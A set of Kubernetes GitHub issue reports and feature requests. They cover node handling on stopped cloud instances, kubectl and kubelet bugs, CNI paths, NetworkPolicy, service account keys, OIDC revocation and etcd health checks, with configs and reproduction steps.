currently cloud providers in kubernetes handle the stopping of an instance differently.\r \r at a minimum aws, openstack, vsphere, ovirt, and rackspace handle a stopped instance by removing that cloud node from kubernetes.  when the instance starts again it re-registers with kubernetes and is available for scheduling.\r \r other cloud providers, including gce, do not delete the cloud node from kubernetes when the instance is stopped.  instead the node stays in kubernetes and ends up marked notready.  when the instance is started again it sends a status update and is marked ready.  the node isn't removed from kubernetes unless the instance is deleted from the cloud provider.\r \r how a stopped instance is handled should be consistent across cloud providers.  how should a stopped instance be handled?  should it be deleted from kubernetes or should it stay and be marked notready?  should the behavior be determined by a config knob that would all the user to determine the action across all cloud providers?\r \r @kubernetes/sig-aws-misc @kubernetes/sig-openstack-pr-reviews @simon3z @jbeda @thockin @thommay @abithap @dagnello @justinsb @smarterclayton @ncdc

there are 1.7 release branch serial jobs timing out:\r \r -  ci-kubernetes-e2e-gce-serial-release-1-7  https://k8s-testgrid.appspot.com/release-1.7-blocking gce-serial-release-1-7 \r -  ci-kubernetes-e2e-gci-gce-serial-release-1-7  https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gce-serial-release-1-7 \r -  ci-kubernetes-e2e-gke-serial-release-1-7  https://k8s-testgrid.appspot.com/release-1.7-blocking gke-serial-release-1-7 \r -  ci-kubernetes-e2e-gci-gke-serial-release-1-7  https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gke-serial-release-1-7 \r \r looking into the cause\r \r /cc @dchen1107 @ericchiang @caesarxuchao

 \r   what happened  :\r after  46193 k8s master started rsyncing  .git  directory, causing hundreds of megabytes to be transferred, making some workflows that utilize remote docker engines impractical. e.g. i use  kubeadm-dind-cluster  https://github.com/mirantis/kubeadm-dind-cluster  which can start docker-in-docker test cluster on the same remote docker where k8s is built, and currently my internet connection can only give me about 1 mb/s, so ~430mb transfer caused by .git is impractical.\r \r   what you expected to happen  :\r  .git  is ignored as before, unless it's needed by the current script. in case  .git  is about to be  rsync ed, a warning needs to be printed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just run  build/run.sh . doing so against a remote docker over slow ish  internet connection will make the behavior apparent.\r \r   anything else we need to know?  :\r for now perhaps only  update-staging-godeps  script needs to rsync  .git  iiuc  see  46193 .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 654de23cbf821cd8b47387308de9a62aebb6df0d\r \r i'll work on this issue.\r

 \r https://github.com/kubernetes/kubernetes/issues/50866 issuecomment-343283650\r \r   what happened  :\r traffic from the same client ip does not get routed to the same endpoint when externaltrafficpolicy=local and sessionaffinity=clientip\r

 \r   what happened  : i was attempting to create an  endpoint  https://v1-8.docs.kubernetes.io/docs/api-reference/v1.8/ endpointaddress-v1-core  with a hostname, however i ran into the following error on  kubectl apply .\r \r    \r   subsets 0 .addresses 0 .hostname: invalid value: \ elasticsearch0-aws.staging-2.banno-internal.com\ : a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' \r    \r \r   what you expected to happen  : i expected to be able to create an  endpoint  with a hostname to then use that in alerting. \r \r   how to reproduce it  as minimally and precisely as possible   \r \r here's the  endpoint  object. \r \r    json\r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ endpoints\ ,\r     \ metadata\ : {\r         \ name\ : \ env-setup-node-exporter\ ,\r         \ namespace\ : \ infrastructure\ \r     },\r     \ subsets\ :  \r         {\r             \ addresses\ :  \r                 {\r                     \ hostname\ : \ elasticsearch0-aws.staging-2.banno-internal.com\ ,\r                     \ ip\ : \ 10.10.1.120\ \r                 }\r              ,\r             \ ports\ :  \r                 {\r                     \ name\ : \ http-metrics\ ,\r                     \ port\ : 9100,\r                     \ protocol\ : \ tcp\ \r                 }\r              \r         }\r      \r }\r    \r \r   anything else we need to know?  :\r \r i looked into rfc 1123 a bit and didn't really find a section defining \ label\ , however that seems to refer to  foo  in something like  foo.com . \r \r digging through the code a bit i see   validateendpointaddress   https://github.com/kubernetes/kubernetes/blob/release-1.9/pkg/apis/core/validation/validation.go l4663-l4665  which seems to be the cause.\r \r   environment  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

 \r   what happened  :\r  kubectl  does not report error when it is used to edit or patch pod which is statically defined via entry in  /etc/kubernetes/manifests .\r subsequent calls to  kubectl describe  show edits thought they are not in effect.\r up to my understanding using  kubectl edit/patch  is unsupported for statically defined pods and should return an error.\r \r   what you expected to happen  :\r \r i would expect  kubectl  to return error when used for editing/patching statically defined pod.\r also  kubectl get  should not show any changes after failed call to  kubectl edit/patch .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ kubectl edit pod -n kube-system cluster-autoscaler-kubernetes-master\r <do some edits e.g. change image>\r \r pod \ cluster-autoscaler-kubernetes-master\  edited\r    \r \r now\r    \r kubectl describe pod -n kube-system cluster-autoscaler-kubernetes-master |grep image:\r    \r shows image after modification although the change is not in effect.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.1.88+f0b207df2dd297\ , gitcommit:\ f0b207df2dd297b0b54920c46978083dd8a081e9\ , gittreestate:\ clean\ , builddate:\ 2018-04-23t14:34:18z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release \r pretty_name=\ debian gnu/linux buster/sid\ \r name=\ debian gnu/linux\ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r sig: @kubernetes/sig-cli-bugs ?

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r current azure cloud provider would fail to detach azure disk when there is server side error, need to add retry mechanism for detach disk operation, while for attach disk operation, it's not necessary since k8s pv-controller will try if first try failed.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10 ~ master\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r

when using the proxy, we cannot send urls which contain an encoded /  this can cause problems when the service behind the proxy is expecting a url path which does contain an encoded /  eg a url like this cannot be used: https://localhost:8443/api/v1/proxy/namespaces/metrics/services/hawkular-metrics:http-endpoint/hawkular/metrics/gauges/hawkular-metrics%2fc8ac3234-5659-11e5-8de0-3c970e88a56f%2fmemory%2fusage  while if you were to use the endpoint directly on the service itself, everything would work properly.

- looks like there is alot of boot2docker references in the codebase. - lets update them to   docker machine   where necessary/appropriate.      probably this is applicable in almost all the docs... but also in other places ... in particular...       ./hack/lib/golang.sh ./cluster/mesos/docker/config-default.sh ./cluster/mesos/docker/util.sh ./build/common.sh ./build/copy-output.sh ./build/readme.md ./docs/getting-started-guides/mesos-docker.md ./docs/getting-started-guides/docker-multinode/testing.md ./docs/getting-started-guides/docker.md ./docs/design/clustering/makefile ./docs/design/clustering/readme.md

it would be nice if, after  cherrypick-approved  and  cherrypick-candidate  were both set, the bot could periodically nag to ensure that the pr gets action. in the normal case, this means an automated cherrypick  which would remove the  cherrypick-candidate  label and stop the nagging  or de-approval.  cc @eparis @david-mcmahon @roberthbailey

because of issues like  27347 and  26983, we had to disable the noroutecreated logic on aws in 1.3, in  27525.  but this is a good feature - it prevents scheduling onto a node until the controllers have set up a node  and we also want to use this pattern generally i suspect .  we should find a way to re-enable the logic on aws in  27525, perhaps via an opt-in or opt-out flag or configuration.

kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  :aws, az us-west-2c -   os    e.g. from /etc/os-release :debian gnu/linux 8  jessie  -   kernel    e.g.  uname -a  :linux ip-172-20-0-155 3.16.0-4-amd64  1 smp debian 3.16.36-1+deb8u1  2016-09-03  x86_64 gnu/linux -   install tools  :installed via kube-up.sh with the following env vars       bash export kube_aws_zone=us-west-2c export num_nodes=3 export master_size=m3.medium export node_size=c3.xlarge export aws_s3_region=us-west-2 export aws_s3_bucket=toddnine-kuberentes-artifacts export kube_aws_instance_prefix=k8s   export aws_default_profile=opsresearch export kubernetes_provider=aws     -   others  :  below are the yaml files used to reproduce the issue.   _storageclass.yaml_      yaml kind: storageclass apiversion: storage.k8s.io/v1beta1 metadata:   name: postgresv1 provisioner: kubernetes.io/aws-ebs parameters:   type: gp2      _master-pod.yaml_      yaml kind: persistentvolumeclaim apiversion: v1 metadata:   name: pg-data-test-0   annotations:     volume.beta.kubernetes.io/storage-class: postgresv1   labels:     app: postgres     cluster: \ test\      index: \ 0\  spec:   accessmodes:     - readwriteonce   resources:     requests:       storage: 100gi  --- apiversion: extensions/v1beta1 kind: replicaset metadata:   name: postgres-test-0 spec:     always 1 replica, we have a different rc per pg instance   replicas: 1   template:     metadata:       labels:         app: postgres         role: master         cluster: \ test\          master: \ true\          index: \ 0\      spec:       terminationgraceperiodseconds: 0       containers:       - name: postgres         image: thirtyx/postgres:0.0.2-dev         env:           - name: postgres_password             value: password           - name: pgdata             value: /pgdata/data           - name: pgmount             value: /pgdata           - name: member_role             value: master           - name: synchonrous_replicas             value: \ 1\            - name: wal_level             value: logical         ports:           - containerport: 5432         volumemounts:         - mountpath: /pgdata           name:  pg-data-test-0         imagepullpolicy: always       volumes:       - name: pg-data-test-0         persistentvolumeclaim:           claimname: pg-data-test-0      _pg-slave-rs-1.yaml_      yaml kind: persistentvolumeclaim apiversion: v1 metadata:   name: pg-data-test-1   annotations:     volume.beta.kubernetes.io/storage-class: postgresv1   labels:     app: postgres     cluster: \ test\      index: \ 1\  spec:   accessmodes:     - readwriteonce   resources:     requests:       storage: 100gi  --- apiversion: extensions/v1beta1 kind: replicaset metadata:   name: postgres-test-1 spec:     always 1 replica, we have a different rc per pg instance   replicas: 1   template:     metadata:       labels:         app: postgres         role: slave         cluster: \ test\          read: \ true\          index: \ 1\      spec:       terminationgraceperiodseconds: 0       containers:       - name: postgres         image: thirtyx/postgres:0.0.2-dev         env:           - name: postgres_password             value: password           - name: pgdata             value: /pgdata/data           - name: pgmount             value: /pgdata           - name: member_role             value: slave           - name: master_endpoint             value: postgres-test-write              the name of the synchronous replica.  this will need to be included               in the string for the variable of the master node           - name: synchonrous_replica             value: \ 1\          ports:           - containerport: 5432         volumemounts:         - mountpath: /pgdata           name:  pg-data-test-1         imagepullpolicy: always       volumes:       - name: pg-data-test-1         persistentvolumeclaim:           claimname: pg-data-test-1       selector:       matchlabels:           app: postgres           role: master           cluster: test           mountid1234: mountid1234      pg-services.yaml      yaml   a headless service to create dns records for our write   note that test  is meant to be replaced with template processing apiversion: v1 kind: service metadata:   name: postgres-test-write   labels:     app: postgres     type: write     cluster: \ test\  spec:   ports:   - protocol: tcp     port: 5432     targetport: 5432     name: postgres      .edgexpostgres.default.svc.cluster.local   clusterip: none   selector:     app: postgres      an additive property.  this is just a flag that's added and removed to signal the master     master: \ true\      cluster: \ test\     add an external load balancer for write   type: loadbalancer   loadbalancersourceranges:   - 162.246.45.4/32   - 50.204.222.32/27   - 111.93.155.240/28   - 203.145.181.112/28   - 52.1.124.126/32   - 50.0.116.61/32   - 194.74.103.192/28   - 50.242.80.16/29  ---   a headless service to create dns records for our read apiversion: v1 kind: service metadata:   name: postgres-test-read   labels:     app: postgres     type: read     cluster: \ test\  spec:   ports:   - protocol: tcp     port: 5432     targetport: 5432     name: postgres      .edgexpostgres.default.svc.cluster.local   clusterip: none   selector:     app: postgres     read: \ true\      cluster: \ test\     add an external load balancer for read   type: loadbalancer   loadbalancersourceranges:   - 162.246.45.4/32   - 50.204.222.32/27   - 111.93.155.240/28   - 203.145.181.112/28   - 52.1.124.126/32   - 50.0.116.61/32   - 194.74.103.192/28   - 50.242.80.16/29  ---        what happened  :  elb is allocated and the node port for the elb is not allocated on the minion. as a result, the elb will never have any nodes in service.   the service  write  has the following output from describe.  kubectl describe svc postgres-test-write      bash name:           postgres-test-write namespace:      default labels:         app=postgres             cluster=test             type=write selector:       app=postgres,cluster=test,master=true type:           loadbalancer ip:         none loadbalancer ingress:   a13e1297d909c11e689ec0a7386d1ee3-1439852523.us-west-2.elb.amazonaws.com port:           postgres    5432/tcp nodeport:       postgres    30238/tcp endpoints:      10.244.1.8:5432 session affinity:   none events:   firstseen lastseen    count   from            subobjectpath   type        reason          message   --------- --------    -----   ----            -------------   --------    ------          -------   1m        1m      1   {service-controller }           normal      creatingloadbalancer    creating load balancer   1m        1m      1   {service-controller }           normal      createdloadbalancer created load balancer      output of netstat on the minion   netstat -plnt |grep 30238  is empty  hitting the service postgres-test-write within another pod works correctly.    what you expected to happen  :  ports to be allocated on the node, and the elb to function properly.  the security groups are correct.  the correct security group is created for the elb with the correct rules, and this security group is added as an allow all to the minion security groups.     how to reproduce it    as minimally and precisely as possible :  use the yaml above to reproduce my setup after spinning up a new 1.4 cluster on aws with ./kube-up.sh    anything else do we need to know  :  i'll be happy to provide any additional logging.

i don't believe this exists, but it would be nice if aws spot instances / gce preemptible instances are labeled  or annotated  with 'preemptible'. i ask because if you want to schedule a job, you probably don't want to schedule on a node that can die at any minute. i know i could manually create the label, but it would be nice if kubernetes were smart enough to figure it out using the metadata api.

cri supports apparmor, seccomp and sysctls via annotations  today  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/api/v1alpha1/runtime/api.proto l237 , we should move them to typed and structured fields instead.  refer  here  https://github.com/kubernetes/kubernetes/issues/30819 issuecomment-253369441  \r \r -  x  apparmor   41742 \r -  x  sysctls   41766 \r -     seccomp   46332 \r \r cc @yujuhong @euank @kubernetes/sig-node-misc

is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal\r -   os    e.g. from /etc/os-release : ubuntu 14.04\r -   kernel    e.g.  uname -a  :  linux dev-k8s-controller-p1 4.4.0-53-generic  74~14.04.1-ubuntu smp fri dec 2 03:43:31 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : chef cookbook\r -   others  : docker 1.12.6, calico 2.1\r \r cni binaries:\r    \r /opt/cni/bin/\r ├── calico\r ├── calico-ipam\r ├── flannel\r ├── host-local\r └── loopback\r    \r \r kubelet config:\r    \r  /usr/bin/kubelet \\\r     --register-schedulable=false \\\r     --pod-manifest-path=/etc/kubernetes/manifests \\\r     --node-labels=k8s-role=k8s-controller \\\r     --allow-privileged=true \\\r     --api-servers=https://dev.kubernetes-controller.service.consul:6443 \\\r     --cloud-provider= \\\r     --cluster-dns=10.223.0.10 \\\r     --cluster-domain=cluster.local \\\r     --container-runtime=docker \\\r     --docker=unix:///var/run/docker.sock \\\r     --network-plugin=cni \\\r     --network-plugin-dir=/etc/cni/net.d \\\r     --kubeconfig=/var/lib/kubelet/kubeconfig \\\r     --serialize-image-pulls=false \\\r     --tls-cert-file=/var/lib/kubernetes/kubelet-cert.pem \\\r     --tls-private-key-file=/var/lib/kubernetes/kubelet-key.pem \\\r     --v=2\r    \r \r   what happened  :\r when trying to run pod error message is generated:\r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   9m\t\t9m\t\t1\tkubelet, dev-k8s-controller-p1\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ createpodsandbox\  for \ fluentd-node-agent-kbrw4_kube-system 9813fecc-17df-11e7-9c75-5254009ef6db \  with createpodsandboxerror: \ createpodsandbox for pod \\\ fluentd-node-agent-kbrw4_kube-system 9813fecc-17df-11e7-9c75-5254009ef6db \\\  failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \\\ fluentd-node-agent-kbrw4_kube-system\\\  network: failed to find plugin \\\ loopback\\\  in path  /opt/loopback/bin /etc/cni/net.d \ \r \r   9m\t2s\t45\tkubelet, dev-k8s-controller-p1\t\tnormal\tsandboxchanged\tpod sandbox changed, it will be killed and re-created.\r   9m\t2s\t45\tkubelet, dev-k8s-controller-p1\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ killpodsandbox\  for \ 9813fecc-17df-11e7-9c75-5254009ef6db\  with killpodsandboxerror: \ rpc error: code = 2 desc = networkplugin cni failed to teardown pod \\\ fluentd-node-agent-kbrw4_kube-system\\\  network: failed to find plugin \\\ calico\\\  in path  /etc/cni/net.d /opt/calico/bin \ \r    \r \r so it seems that kubelet is trying to find cni binaries in paths:\r - /opt/loopback/bin\r - /etc/cni/net.d\r - /opt/calico/bin\r \r but it should look at  /opt/cni/bin  since this is the default valur for  --cni-bin-dir  parameter.\r \r   what you expected to happen  :\r pod starts.\r \r   how to reproduce it    as minimally and precisely as possible :\r run pod:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r spec:\r   containers:\r   - image: nginx\r     name: nginx\r    \r \r with kubelet 1.6 and cni binaries in those path  default for calico :\r    \r /opt/cni/bin/\r ├── calico\r ├── calico-ipam\r ├── flannel\r ├── host-local\r └── loopback\r    \r \r   anything else we need to know  :\r after copy  /opt/cni  to  /opt/calico  and  /opt/loopback  pod starts fine.

bug report  \r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , |swisscom@kube2:~$ \r gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }           |swisscom@kube2:~$ \r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , |swisscom@kube2:~$ \r gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   os   ubuntu xenial\r -   kernel     uname -a  :  linux kube2 4.4.0-78-generic  99-ubuntu smp thu apr 27 15:29:09 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : \r installed docker according to https://docs.docker.com/engine/installation/linux/ubuntu/  docker -v   docker version 17.03.1-ce, build c6d412e \r installed kubernetes according to https://kubernetes.io/docs/setup/independent/install-kubeadm/\r \r   what happened  :\r i tried to isolate pod's from each other over the https://kubernetes.io/docs/concepts/services-networking/networkpolicies/ without success.\r \r   what you expected to happen  :\r it is not possible to reach isolated pod's over the internal ip on not exposed ports.\r \r   how to reproduce it    as minimally and precisely as possible :\r the reproducer is in this repo: https://github.com/floriankammermann/kubernetes-networkpolicy\r \r @kubernetes/sig-network-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i was trying to update the kubeconfig using:\r  $ kubectl config set-cluster local1 \r but it kept on failing with:\r  error: open /home/qasim.sarfraz/.kube/config.lock: file exists \r mainly due to duplicate entry in  kubeconfig .\r   what you expected to happen  :\r  cluster \ local1\  set. \r   how to reproduce it  as minimally and precisely as possible   :\r  $ export kubeconfig=/home/qasim.sarfraz/.kube/config:/home/qasim.sarfraz/.kube/config \r  $ kubectl config set-cluster local1 \r  error: open /home/qasim.sarfraz/.kube/config.lock: file exists \r i can avoid the duplicate entry in the  kubeconfig  but it would be great if error msg is bit more explanatory or helpful.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r \r   what happened  :\r i created a pair of    unrelated   keys and assigned them to apiserver and controller. then i created a new namespace with default serviceaccount. to my surprise, deployments in this namespace could still use the token to create pods.\r \r apiserver config\r    \r         - --admission_control=namespacelifecycle,namespaceexists,limitranger,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,resourcequota,noderestriction,serviceaccount,initializers,podpreset\r         - --authorization-mode=node,rbac\r         - --token-auth-file=/etc/kubernetes/ssl/token.csv\r         - --service-cluster-ip-range=10.10.0.0/16\r         - --client_ca_file=/etc/kubernetes/ssl/ca.pem\r         - --service-account-key-file=/etc/kubernetes/ssl/test.pem\r         - --service-account-lookup=true\r    \r controller-manager config\r    \r         - --feature-gates=rotatekubeletservercertificate=true,supportipvsproxymode=true,podpriority=true\r         - --v=4\r         - --kubeconfig=/srv/kubernetes/kubeconfig\r         - --leader-elect\r         - --root-ca-file=/srv/kubernetes/ca.pem\r         - --service-account-private-key-file=/srv/kubernetes/test-key.pem\r         - --cluster-signing-cert-file=/srv/kubernetes/ca.pem\r         - --cluster-signing-key-file=/srv/kubernetes/ca-key.pem\r         - --controllers= ,tokencleaner,bootstrapsigner\r         - --logtostderr=true\r         - --log_dir=/var/log/kubernetes/\r         - --allocate-node-cidrs=true\r         - --cluster-cidr=10.11.0.0/16\r    \r   /etc/kubernetes/ssl/test.pem   and   /etc/kubernetes/ssl/test.pem   are generated   randomly    and have no relationship at all.\r \r   what you expected to happen  :\r the invalid key pair would forbid deployment from creating pods. \r like   22351\r \r   how to reproduce it  as minimally and precisely as possible   :\r generate two pairs of keys from http://travistidwell.com/jsencrypt/demo/ and set pair1's public key to   apiserver service-account-key-file   and pair2's private key to   controller-manager service-account-private-key-file  .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     v1.9.6  \r docker version: \r     17.12.1-ce  \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r     3.10.0-862.3.2.el7.x86_64  \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r serious bug\r \r   what happened  :\r    some of the nodes in my cluster reach 100% cpu usage and get stuck there. this has happened multiple times with different clusters that i have setup. it seems to be random, i let it run for the night and in the morning some nodes will be stuck at 100% cpu usage. restarting the node and rejoining the cluster fixes the issues. sometimes when i use the kubelet to create or destroy multiple nodes in succession, the nodes get stuck in the 100% cpu usage. \r \r   what you expected to happen  :\r    the pods i am running don't use a lot of resources, so i am surprised that 100% cpu usage occurs. even then, high cpu usage should not take the nodes out of the cluster. the nodes go into a notready state. \r \r   how to reproduce it  as minimally and precisely as possible   :\r runs and few pods  ~20  and tear them down. it happens every 2-3 days after starting a cluster. \r \r   anything else we need to know?  :\r this seems like something on the node getting stuck on a while loop. the server runs at 100%cpu usage for hours and the only way out is to force restart. sshing into the machine is not possible due to the 100%cpu usage. the nodes becomes unresponsive. \r i have a few databases running on the cluster, when this happens, the db volumes end up getting corrupted and i have to start using a new persistent volume\r \r   environment  :\r - kubernetes version :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:50:45z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:50:45z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r bare metal on digital ocean. \r \r - os  e.g. from /etc/os-release :\r \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r \r linux 206.189.234.151 4.4.0-131-generic  157-ubuntu smp thu jul 12 15:51:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r   kubespray\r \r    

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r an oidc option  optional  in the api server for validating oidc tokens against a token introspection endpoint.\r \r   why is this needed  :\r administrators are unable to prevent kubernetes from accepting signed id tokens that have been revoked by an oidc provider.\r <!-- do not edit below this line -->\r  

hey there, not entirely sure if this is an issue, but when i do not specify a namespace for a secret it fails saying i need a namespace in the secret's metadata.  so i use the default namespace for now.  i am trying to create this secret through a script that is not using kubectl to do this and is talking directly to the api server.  is there any reason why the apiserver wouldn't assume it's using the default namespace in this case?  if not can we have it so by default the namespace is \ default\ ?

moved this from  22231 since it's no longer related.  i noticed that on  v1.1.8 , i had only a single etcd instance listed in componentstatuses, but on  master  had two  despite that i'm only running a single instance . i've added code to  pkg/master/master.go  to print the list of endpoints that it is going to health check during a call to componentstatuses.   my etcd is configured:      advertise-client-urls: \ http://127.0.0.1:2379,http://10.0.1.4:2379\  listen-client-urls: \ http://0.0.0.0:2379,http://0.0.0.0:4001\       in  v1.1.8 :      \ etcd-0\  = { \ 127.0.0.1\  .... } \ controller-manager\  = { \ 127.0.0.1\  .... } \ scheduler\  = { \ 127.0.0.1\  .... }      in  master :      \ etcd-0\  = { \ 10.0.1.4\  .... } \ etcd-1\  = { \ 127.0.0.1\  .... } \ controller-manager\  = { \ 127.0.0.1\  .... } \ scheduler\  = { \ 127.0.0.1\  .... }      even though \ 10.0.1.4\  _is_ \ 127.0.0.1\ .  is this expected?   this came to my attention because i originally was advertising a third etcd endpoint that was unreachable and was causing componenstatuses check to timeout. i just ran it again with  master  to confirm and i get a third etcd:  \ etcd-2\  = { \ kube-20160304-112303.westus.cloudapp.azure.com\  ... }\     cc: @lavalamp @davidopp

